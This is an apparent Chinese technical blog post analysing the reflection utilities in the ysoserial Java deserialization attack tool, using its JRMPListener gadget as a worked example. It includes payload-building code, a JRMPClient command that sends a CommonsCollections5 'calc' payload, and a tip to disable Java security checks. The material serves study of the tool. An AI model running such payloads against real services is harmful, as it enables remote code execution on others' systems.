ysoserial代码分析-反射

前言:

ysoserial作为优秀的反序列化攻击工具,其提供的攻击调用链也是很简单好用,但是一直没有分析过其代码逻辑,最近有空正好分析了一下,对反序列化理解有更好的帮助

代码分析:

其代码中最重要的两个是反射和公共调用方法,为payloads\util下的Reflections.java和Gadgets.java,我们主要对这两个文件进行分析:

反射:

查看Reflections.java,首先可以看到方法setAccessible,其根据版本,当java版本大于12的时候会通过com.nqzero.permit.Permit设置属性

//当为private和protected时将此对象的 accessible 标志设置为指示的布尔值,即设置其可访问性
// 参数 getFields() 子类和父类的所有public变量
// 参数 getMethods() 父类和子类方法
public static void setAccessible(AccessibleObject member) {
	String versionStr = System.getProperty("java.version");
	int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
	if (javaVersion < 12) {
		// quiet runtime warnings from JDK9+
		Permit.setAccessible(member);
	} else {
	// not possible to quiet runtime warnings anymore...
	// see https://bugs.openjdk.java.net/browse/JDK-8210522
	// to understand impact on Permit (i.e. it does not work
	// anymore with Java >= 12)
		member.setAccessible(true);
	}
}

这就规避了高版本下调用setAccessible失效的情况。下面将各个函数过一下,首先看下getField方法:

// 获取public、protected和private类型的变量,并设置为可访问
public static Field getField(final Class<?> clazz, final String fieldName) {
    Field field = null;
    try {
        // 只能获取子类所有的public、protected和private类型的变量,不能获取父类的变量
        field = clazz.getDeclaredField(fieldName);
        setAccessible(field);
    }
    catch (NoSuchFieldException ex) {
        // 返回当前类的父类
        if (clazz.getSuperclass() != null)
            field = getField(clazz.getSuperclass(), fieldName);
    }
    return field;
}

 getField本质上就是获取指定类public、protected和private类型的变量并设置为可访问,但是其并没有选择使用clazz.getField,因为其只能获取到public类型变量,所以需要使用 getDeclaredField获取到全部的变量,并且当获取的是父进程变量,使用clazz.getSuperclass可以跳转到父进程进行获取,并且设置为true属性,方便后续操作。很完善

其调用代码等同于如下:

类似当我需要反射org.codehaus.groovy.runtime.MethodClosure的method值,正常为如下编写:

Field field1 =  Class.forName("org.codehaus.groovy.runtime.MethodClosure").getDeclaredField("method");
field1.setAccessible(true);

使用上述方法,一行即可

Field field2 =  ysoserial_reflect.getField(Class.forName("org.codehaus.groovy.runtime.MethodClosure"), "method");

getFieldValue方法,获取Obj对象的field字段值:

// 获取Obj对象的field字段值
// Obj为NULL 获取static修饰的静态字段field的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
   final Field field = getField(obj.getClass(), fieldName);
   return field.get(obj);
}

很好理解就是获取对应反射方法变量的值,

getFirstCtor方法:获取第一个 类的构造函数

    // 获取第一个 类的构造函数,包括public、protected和private
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
Constructor ctor = ysoserial_reflect.getFirstCtor("org.apache.commons.collections.functors.InvokerTransformer");

其中有两个构造函数,使用上述代码只能获取到第一个构造函数 

 个人感觉这里只能获取到第一个构造函数不是很方便,可以加上参数,获取指定第几个构造函数,类似如下:

public static Constructor<?> getFirstCtor2(final String name, int num) throws Exception {
   final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[num];
   setAccessible(ctor);
   return ctor;
}

newInstance方法:创建类

// 使用该方法创建类,接受可变的参数个数,构造函数实际有几个传输,这里就传递几个参数值。
public static Object newInstance(String className, Object ... args) throws Exception {
   return getFirstCtor(className).newInstance(args);
}

使用org.springframework.aop.framework.JdkDynamicAopProxy测试,调用方法如下,可以成功构建JdkDynamicAopProxy类

看下 JdkDynamicAopProxy类,其本质就是调用指定类的第一个构造函数:

createWithoutConstructor:使用反射机制创建一个指定类型的新实例

    // 创建没有构造函数的类
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    // 创建带构造函数的类
    // 使用反射机制创建一个指定类型的新实例,并使用给定的构造函数参数进行初始化,即使构造函数是 private 的
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        // 使用 constructorClass 和 consArgTypes 参数获取指定的构造函数。getDeclaredConstructor() 方法可访问 constructorClass 中的所有构造函数,包括 private 构造函数。
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        // 使用 Java 反射 API 中的 ReflectionFactory 类创建一个新的构造函数对象。这个新的构造函数对象与 objCons 不同,因为它是为序列化目的而创建的
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

该函数主要执行流程为三步:

1.首先使用getDeclaredConstructor获取指定的类所有构造函数

2.然后调用newConstructorForSerialization创建一个新的构造函数对象,专门用于在序列化和反序列化过程中实例化一个类,其中参数要求第一个参数为要实例化的类,第二个参数为原始的构造函数对象,其必须为第一个参数的构造函数或父类构造函数

3.最后调用newInstance实例化对应类,并返回

这里用JRMPListener进行参考,代码如下:

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

其主要通过反序列化实现JRMP的指定端口的监听指定端口,然后客户端将攻击代码发送到服务端即可执行代码,首先我们测试下代码,使用ysoserial JRMPClient进行攻击:

命令如下:

java -cp ysoserial-all.jar    ysoserial.exploit.JRMPClient 127.0.0.1 33121 CommonsCollections5 "calc"

需要注意java版本,高版本的会禁止加载远程代码,使用低版本java或者关闭安全验证 

将代码分解如下:

    public static <T> T  mycreateWithConstructor() throws Exception{
        try {
            int jrmpPort = Integer.parseInt("33121");
            Constructor<? super T> objCons = (Constructor<? super T>) RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});
            ysoserial_reflect.setAccessible(objCons);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, objCons);
            ysoserial_reflect.setAccessible(sc);
            UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(new Object[]{new UnicastServerRef(jrmpPort)});
            Field field = ysoserial_reflect.getField(UnicastRemoteObject.class, "port");
            field.set(uro, jrmpPort);

            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);
            objOut.writeObject(uro);

            byte[] ceshi = buf.toByteArray();
            //System.out.print(Base64.getEncoder().encodeToString(ceshi));

            ByteArrayInputStream btin = new ByteArrayInputStream(buf.toByteArray());
            ObjectInputStream objIn = new ObjectInputStream(btin);
            objIn.readObject();
        }catch (Exception e) {
            e.printStackTrace();
            System.out.print(e);
        }
        return null;
    }

 其执行流程如下:

1.首先反射获取RemoteObject的参数为RemoteRef的构造函数

2.通过ReflectionFactory.getReflectionFactory().newConstructorForSerialization方法,看下newConstructorForSerialization具体含义:

public Constructor<?> newConstructorForSerialization (Class<?> classToInstantiate, Constructor<?> constructorToCall)

java.lang.Class<?> classToInstantiate: 要为其创建特殊构造函数的类。通常是一个实现了 Serializable 接口的类。
java.lang.Constructor<?> constructorToCall: classToInstantiate的构造函数。这个构造函数可以是父类的。

newConstructorForSerialization创建了一个反序列化专用的反射方法对象,使用这个特殊的反射方法对象可以在newInstance创建实例的时候绕过构造方法创建类实例,这就是为何使用newConstructorForSerialization,使用newConstructorForSerialization创建ActivationGroupImpl反射方法对象,可以在实例化的时候忽略其构造方法,可靠性更高

这里使用反序列化方式获取ActivationGroupImpl类的构造方法,这里需要注意其参数objCons是我们上面获取到的RemoteObject构造函数,RemoteObject为ActivationGroupImpl的父类

3.然后实例化UnicastRemoteObject对象,这里需要注意为何本来是ActivationGroupImpl最后却要强制转换为UnicastRemoteObject,是因为Java RMI 的激活机制时,ActivationGroupImpl会优先被调用。它负责对象的激活、通信转发等功能,是先于 UnicastRemoteObject被调用的。它提供了 RMI 激活机制所需的基础支持。虽然我们最终调用的是UnicastRemoteObject的exportObject方法,但是创建的时候最好还是从基础ActivationGroupImpl进行创建。

4.最后反射修改UnicastRemoteObject的port参数为我们需要监听的端口,并生成序列化数据即可

反序列的时候首先调用UnicastRemoteObject的readObject方法:

然后调用exportObject方法,此处port值为我们设置的端口号

 

最后调用TCPTransport实现监听:

总结:

上面大概分析了ysoserial针对反射的代码,总结下其api接口,方便我们调用免得重复操作

setAccessible 可以针对多个java版本进行权限设置,不需要我们为java高版本下如何设置属性而犯愁
getField(final Class<?> clazz, final String fieldName)获取指定类clazz的fieldName变量,并且当指定类不存在会自动从父类获取
getFieldValue(final Object obj, final String fieldName) 获取指定对象obj的fieldName变量的值,并返回。
setFieldValue(final Object obj, final String fieldName, final Object value) 设置指定对象obj的fieldName变量值为value
getFirstCtor(final String name) 获取指定类name的第一个构造函数
newInstance(String className, Object ... args) 实例化反射对象,调用getFirstCtor进行构造,所以调用可以根据类的第一个构造方法返回一个实例化对象
createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) 该方法可以创建一个基于序列化的反射方法对象,首先根据获取constructorClass参数为consArgTypes的构造函数,然后调用newConstructorForSerialization创建classToInstantiate类型的特殊反射方法对象,其父类为constructorClass,最后实例化classToInstantiate对象,参数为consArgs的构造函数,该方法主要用于当我们需要反射实例化的对象较为复杂时候,可以直接调用createWithConstructor创建一个特殊的反射方法对象。
createWithoutConstructor ( Class<T> classToInstantiate ) 或者可以直接调用createWithoutConstructor生成默认参数的特殊的反射方法对象。
  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ysoserial-0.0.6-snapshot-all.jar 是一个Java库,用于生成和利用Java反序列化漏洞。 Java反序列化漏洞是一种常见的安全漏洞,攻击者可以通过构造恶意的序列化数据来执行远程代码ysoserial是一个工具集合,用于生成可用于利用这些漏洞的恶意序列化数据。 ysoserial-0.0.6-snapshot-all.jar 包含了多个可用于利用不同类型反序列化漏洞的Payloads(负载)。这些Payloads可以根据目标应用程序的特定环境进行选择和使用。 ysoserial提供了简单的命令行界面,使得它易于集成到漏洞扫描工具和安全测试框架中。它可以帮助安全研究人员和开发人员在应用程序中发现并修复反序列化漏洞,以提高应用程序的安全性。 在使用ysoserial时,需要注意以下几点: 1. 仅在授权范围内使用ysoserial,并遵守法律和道德规范。 2. ysoserial生成的Payload是可执行的代码,使用时必须非常小心,确保在受信任的环境中使用,并妥善保护生成的Payload,以防止恶意使用。 3.ysoserial只是一个辅助工具,不能替代其他安全测试方法和工具。在使用ysoserial进行漏洞测试时,还应结合其他漏洞扫描工具和手动审计来进行全面的安全评估。 总之,ysoserial-0.0.6-snapshot-all.jar提供了一个方便的方式来生成和利用Java反序列化漏洞的Payloads,帮助安全研究人员和开发人员发现和修复这些常见的安全问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值